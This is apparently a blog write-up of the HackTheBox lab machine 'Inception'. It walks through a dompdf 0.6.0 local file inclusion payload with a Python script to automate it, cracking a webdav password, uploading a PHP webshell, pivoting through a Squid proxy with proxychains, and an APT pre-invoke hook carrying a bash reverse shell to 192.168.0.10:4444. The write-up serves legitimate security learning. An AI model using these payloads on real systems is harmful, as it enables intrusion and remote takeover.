“Inception” WriteUp | HackThebox | Learn Pivoting with Proxychains

Mr Jokar
System Weakness
Published in
14 min readMar 30, 2023

--

Summary : This machine requires a known software’s LFI exploit that leads to clear text credential to webdav exploit. Then we get a webshell and from leveraging the web proxy we SSH into a machine. But then some more pivoting is required to get into the real machine and get root.

Initial Enumeration

First I will run a port scan with threader3000 a multi threaded port scanner made by the mayor. It’s faster than nmap. I like to run a nmap TCP and UDP scan in the background. It’s always better to use multiple tools to validate the result. In this case there were no open UDP ports and no extra TCP ports that threader3000 did not show me.

root@kali -> threader3000
------------------------------------------------------------
Threader 3000 - Multi-threaded Port Scanner
Version 1.0.7
A project by The Mayor
------------------------------------------------------------
Enter your target IP address or URL here: 10.10.10.67
------------------------------------------------------------
Scanning target 10.10.10.67
Time started: 2023-03-27 22:35:44.374310
------------------------------------------------------------
Port 80 is open
Port 3128 is open
Port scan completed in 0:01:38.696827
------------------------------------------------------------
Threader3000 recommends the following Nmap scan:
************************************************************
nmap -p80,3128 -sV -sC -T4 -Pn -oA 10.10.10.67 10.10.10.67
************************************************************
Would you like to run Nmap or quit to terminal?
------------------------------------------------------------
1 = Run suggested Nmap scan
2 = Run another Threader3000 scan
3 = Exit to terminal
------------------------------------------------------------
Option Selection: 1
nmap -p80,3128 -sV -sC -T4 -Pn -oA 10.10.10.67 10.10.10.67
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-27 22:38 EDT
Nmap scan report for 10.10.10.67
Host is up (0.24s latency).

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Inception
3128/tcp open http-proxy Squid http proxy 3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/3.5.12

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.48 seconds
------------------------------------------------------------
Combined scan completed in 0:03:11.179315

Port 80 (HTTP) and port 3128 (HTTP-Proxy) are open. Port 3128 seems to be running a proxy server and nmap tells us that’s squid version 3.5.12. Proxy Server means whenever we send a request to that por, it’s going to send itLet’s look at port 80 first as it says an Apache Server is running on the port so there must be a webpage with the title ‘Inception’.

Port 80 Enumeration

Before anything I try to fingerprint the website (figuring out the technology that is being used). To do that I try http://IP/index.php , if it gives me the index page, I would know php is there in the backend. But it shows Not Found . So I tried http://IP/index.html and it shows me the index page. I’m guessing that the site is static. I will run a gobuster for directory busting in the background while I do further recon. The scan did not find anything.

root@kali -> gobuster dir -u http://10.10.10.67/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 80
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.67/
[+] Method: GET
[+] Threads: 80
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/03/27 22:45:21 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 311] [--> http://10.10.10.67/images/]
/assets (Status: 301) [Size: 311] [--> http://10.10.10.67/assets/]
/server-status (Status: 403) [Size: 299]
Progress: 220480 / 220561 (99.96%)
===============================================================
2023/03/27 22:56:37 Finished
===============================================================

Navigating to the website in browser does not give that much information. There’s an email signup button, if you enter an email it says Thank You! but intercepting it with burpsuite shows that there’s no request being made. So it’s just something for show. Then I looked at the source code and there I found something interesting !

Exploit dompdf : Local File Inclusion

It gives a hint about dompdf which after some googling I found out a HTML to PDF Converter. Also it talks about testing it on php 7.x which is weird because we did not find any clue about PHP being on the website before. However visiting the dompdf github, it seems the latest versions use PHP 7.x versions. Searching in the releases tab tells me that the oldest was dompdf version 0.8.0 that used php 7.x . In the comment it says to test for php 7.x, so there’s a possibility that the dompdf that we are dealing with is older than version 0.8.0 .

I looked at the github a bit more and then tried /dompdf on the website path because there’s somewhere dompdf and it worked ! I have the directory where visiting the VERSION page confirms the dompdf version 0.6.0 .

Getting a version is great because now we can search with the version number to see if there’s any known CVE on that. And indeed there are !

There is a LFI as well as a RFI on dompdf 0.6.0 . I tried to work the RFI first but it did not work. I tried to change the payload in many ways but could not make it to working. So it’s time for the LFI.

http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=<PATH_TO_THE_FILE>

I caught the requests in Burpsuite for a better view because doing it in the browser was not giving me the whole output back. Then I dumped the /etc/passwd file and copied the base64 encoded reply. Finally I decoded it in the terminal using echo -n "encoded_string" | base64 -d

root@kali -> echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtdGltZXN5bmM6eDoxMDA6MTAyOnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb24sLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzdGVtZC1uZXR3b3JrOng6MTAxOjEwMzpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQvbmV0aWY6L2Jpbi9mYWxzZQpzeXN0ZW1kLXJlc29sdmU6eDoxMDI6MTA0OnN5c3RlbWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kL3Jlc29sdmU6L2Jpbi9mYWxzZQpzeXN0ZW1kLWJ1cy1wcm94eTp4OjEwMzoxMDU6c3lzdGVtZCBCdXMgUHJveHksLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzbG9nOng6MTA0OjEwODo6L2hvbWUvc3lzbG9nOi9iaW4vZmFsc2UKX2FwdDp4OjEwNTo2NTUzNDo6L25vbmV4aXN0ZW50Oi9iaW4vZmFsc2UKc3NoZDp4OjEwNjo2NTUzNDo6L3Zhci9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgpjb2JiOng6MTAwMDoxMDAwOjovaG9tZS9jb2JiOi9iaW4vYmFzaAo=" | base64 -d

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
cobb:x:1000:1000::/home/cobb:/bin/bash

Looking at files one by one was very difficult because I had to manually base64 decode them. So I was inspired by Ippsec’s video and wrote a python script to solve this problem. Here’s the script and the output :

import requests
from base64 import b64decode
import re

def GetFile(file):
url = (f"http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource={file}")
response = requests.get(url)
r = response.text
regex = r'\[\((.*?)\)\]'
matches = re.findall(regex, r)

for match in matches:
print(b64decode(match).decode('utf-8'))

file = input("The file: ")
GetFile(file)

So here we see only one user named cobb . I used the lfi and checked several things like cobb’s home directory for ssh keys but found nothing. Then I viewd some files from /etc directory like the hosts file and hostname. Tried some LFI with /proc directory but could not find anything interesting there. I also tried SSH/Apache log poisoning but the log files were not accessible.

As the webserver is Apache, there are 2 interesting default directories and files we can check. They are /etc/Apache2/sites-available/000-default.conf and /etc/Apache2/sites-enabled/000-default.conf . These directories can give us information about the sites there. In both of these files we get information about a webdav being present.

So I will get that file mentioned there. And it has a username, password !

root@kali -> The file: /var/www/html/webdav_test_inception/webdav.passwd
webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0

I copied the hash, put it in a file hash.txt and then used john to decrypt the hash john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt and I got the password babygurl69 .

WebDAV (Web Distributed Authoring and Versioning) is an extension of the HTTP/1.1 protocol that allows users to collaboratively edit and manage files on remote web servers. It was developed as an extension to the HTTP protocol to support advanced file management capabilities and is widely used for file sharing and content management purposes.

Webdav Exploit : Reverse Shell Fails !

Let’s try to enumerate the webdav. First I will run a tool named davtestIthat actually goes ahead and tried to create and execute file in the webdav to check which type of file our user can create and which type our user can execute. Interestingly, we can create and execute php files ! So there’s a potential php reverse shell or php webshell upload and execute vulnerability.

To put the shell files, I could use Burpsuite and do it from the browser but I decided to interact with it using a tool called cadaver which is a command line tool that let’s us connect to webdav. The syntax to connect is cadaver http://IP/webdav_directoryand it will prompt for a username and password. Entering that let’s us in as you can see in the top left of the ScreenShot below.

PHP Reverse Shell : After connecting I used put shell.php to upload a php reverse shell file and it worked. To execute the file, I navigated to the directory in the browser http://10.10.10.67/webdav_test_inception/shell.php . But it just hangs and we don’t get a shell. It’s weird because the PHP code is executing but we are not getting a shell. If the code was not executable the server would have thrown use a 500 error.

PHP WebShell : Alright let’s try to connect using a webshell. so I uploaded a webshell just like before and executed it by navigating to the browser and this time it worked ! We have a php webshell you can see in the top right of the screenshot. That means php code executes on the server just fine. We can try commands line whoami and see that we are www-data so everything works fine. I decided to execute a one liner bash reverse shell in the webshell and catch the reverse shell that way to get a shell on the system. But again the same problem occurs ! The bash shell executes and the server hangs but we don’t get any shell back as you can see in the screenshot above.

All these mean that we are executing the code successfully but the reverse shell can’t talk back to our IP Address because there might be some sort of firewall blocking all outbound connections (connections going from the machine to the outside world). That’s why we don’t get a shell back.

So I’ll keep enumerating using the webshell which is tough but after some enumeration in the web directory /var/www/html there’s a credential for mysql you can find in the wordpress config file.

Squid Proxy Enumeration

But the problem is, we don’t have anywhere to put the credentials as there are no SSH port open from our nmap scan. So let’s enumerate the squid proxy port and see if we can make use of the proxy to reach some additional ports on the machine.

Squid is a http-proxy that acts like an intermediate relay server. So whenever we send a request to squid-proxy port, it intercepts and sends our request to the appropriate destination. Squid also supports access control lists (ACLs) to restrict access to certain content or websites, as well as other features such as SSL interception, content filtering, and traffic shaping. It can be used in a variety of environments, including enterprise networks, ISPs, and public Wi-Fi hotspots.

So let’s configure the foxyproxy (or any proxy that you use on the browser) to send our request to squid proxy and see if that works. To configure, just create a new proxy and put the Machine IP in the ProxyName/DNS Name and put the port 3128 there. I named this proxy Inception-squid

Now if we turn on the Inception-squid and browse the web, it will first send our request to the Box’s port 3128 and from here our request will be relayed to the destination.

Now if we try to visit 127.0.0.1:80 it works ! It gives us the webpage. It means this squid proxy can reach the local/internal ports. So the plan is to use this proxy to scan ports that are listening on the 127.0.0.1 interface/ listening internally.

Getting Foothold as cobb : Using Proxychains

Now to take advantage of the proxy using a tool called proxychains and run any command in the internal network. First we have to configure the /etc/proxychains.conf file and add http 10.10.10.67 3128 at the bottom.

It just says that we are using a http proxy that’s on 10.10.10.67 on port 3128. Now let’s run a nmap port scan. By default nmap does a SYN scan but that can’t be run through a proxy, so I did a full TCP scan.

root@kali -> proxychains nmap -sT 127.0.0.1

The scan gave back 2 ports. 80 which we already know and port 22 which is SSH. This is a great finding because we can try the previously found password and username trying to SSH into the machine.

I used proxychains to access the local SSH port and putt the username cobb and the found password in wordpress config file. It let me in as Cobb ! The user flag is in cobb’s home directory.

root@kali -> proxychains ssh cobb@127.0.0.1

Pivot Enumeration ?

The first thing I check is sudo -l , it tells me which command I can run with sudo privilege. Sometimes it leads to easy wins. Surprisingly this showed me that I can run any commands as root in the machine. So I did sudo su - to change my user and get a root shell. Which worked ! It’s a suspiciously easy win for a HTB Box. And it was suspicious because trying to cat the root flag gave me this message.

That means we are not on the actual box. To confirm this we can view the /etc/hosts to see if there’s any other hosts configured on any other IP but there’s none. So I did ifconfig to view the IP Address and there it shows that we are 192.168.0.10 which is on a totally different subnet 192.168.0.0/24 than the box’s IP 10.10.10.67 . That’s why we were not able to get a reverse shell in the first place. So maybe we are in a VM that has been configured with the Host OS with NAT.

Gateway Enumeration (192.168.0.1)

Let’s enumerate the gateway address. If that does not give me anything, I will do a ping sweep (pining all the IPs) in the subnet 192.168.0.0/24 and try to discover other active machines. To enumerate the ports, I decided to use netcat and wrote a little bash script to scan top 20 ports. The script gave back 3 ports (21, 22, 53) open.

root@kali -> for i in 21 22 23 25 53 80 110 111 135 139 143 443 445 993 995 1723 3306 3389 5900 8080; do nc -zvn 192.168.0.1 $i; done

FTP looked most promising so I went ahead and connected to ftp using netcat. Anonymous login was allowed so I logged in and saw a file system there. File upload was not available and there was nothing really useful. Because either I could not access the file or it was of 0 bytes meaning empty.

Next comes UDP ports, so I made a little change in the previous bash script and run it to find open UDP Ports on the machine. The tftp is open.

root@Inception:~# for i in 53 69 161 162 123; do nc -zvnu 192.168.0.1 $i; done
Connection to 192.168.0.1 53 port [udp/*] succeeded!
Connection to 192.168.0.1 69 port [udp/*] succeeded!

TFTP is like ftp that runs on UDP protocol. It requires no password and it does not show any directory listing. So we can’t ls and see the directories. There is a nmap script or use metasploit to enumerate this. But for now I will try to see if I can upload something first.

So I created a test file and put it in the TFTP and it worked ! But how can we see that the file has been uploaded to the right directory on the 192.168.0.1 machine ? Here comes the ftp port. We saw that the FTP is the root file share of that machine. So if we connect to ftp after uploading the file through tftp, we will see that our file has been added to that directory.

Let’s first create a file called testfile. Put it in the /tmp/testfile in 192.168.0.1 and then check that directory with ftp. Here it is !

root@Inception:~# touch testfile

root@Inception:~# tftp 192.168.0.1 69
tftp> put testfile /tmp/testfile
ctrl+d exit

And we see the uid of the file is 0 which is root. That means we have successfully created a file in 192.168.0.1 as root.

Getting root@192.168.0.1

My first plan is to write our public SSH key in the root’s SSH directory (/root/.ssh/authorized_keys) so that we can SSH into that machine as root. But the problem with that idea is, notice how the permission is set on the testfile that we have just created. It’s 666 or rw-rw-rw which will be the case for any file that we upload. But for SSH public key to work, the permission needs to be set to 644 or rw-r-r otherwise, it’s ignored by the ssh service of the machine because extra permissions make that file vulnerable. So let’s quit the idea and keep enumerating.

I will pull down the crontab from ftp to see if there’s any service running which we can modify and get a shell that way. For that I can connect to the ftp as anonymous and get into the /etc directory with cd /etc and get the crontab with get crontab .There we see something interesting. Every 5 minutes the machine’s running apt update .

The interesting part is that an APT pre-invoke script can be used to take advantage of the cronjob and escalate our privilege. Read this post that explains the logic behind this attack.

So we are creating an apt pre-invoke script. The script can look like :

#!/bin/bash

APT::Update::Pre-Invoke {"/bash/bash -c '/bin/bash -i >& /dev/tcp/192.168.0.10/4444 0>&1'"}

The name has to start with 2 digits as discussed in the post. So I named it 00privesc and now I have to put in the /etc/apt/apt.conf.d directory. To do that let’s take advantage of the tftp . I will simply use the tftp and put the file in that directory.

root@Inception:~# tftp 192.168.0.1
tftp> put 00privesc /etc/apt/apt.conf.d/00privesc

Sent 85 bytes in 0.0 seconds

Now we will create a listener to catch the reverse shell and wait for it to happen.

root@Inception:~# nc -lnvp 4444

After the cronjob executes, we immediately get the shell back and now we can view the root flag also !

To confirm that we are on the real machine this time, we can do ifconfig and see that eth0 interface is running on the real Ip of the machine 10.10.10.67 that we started with.

--

--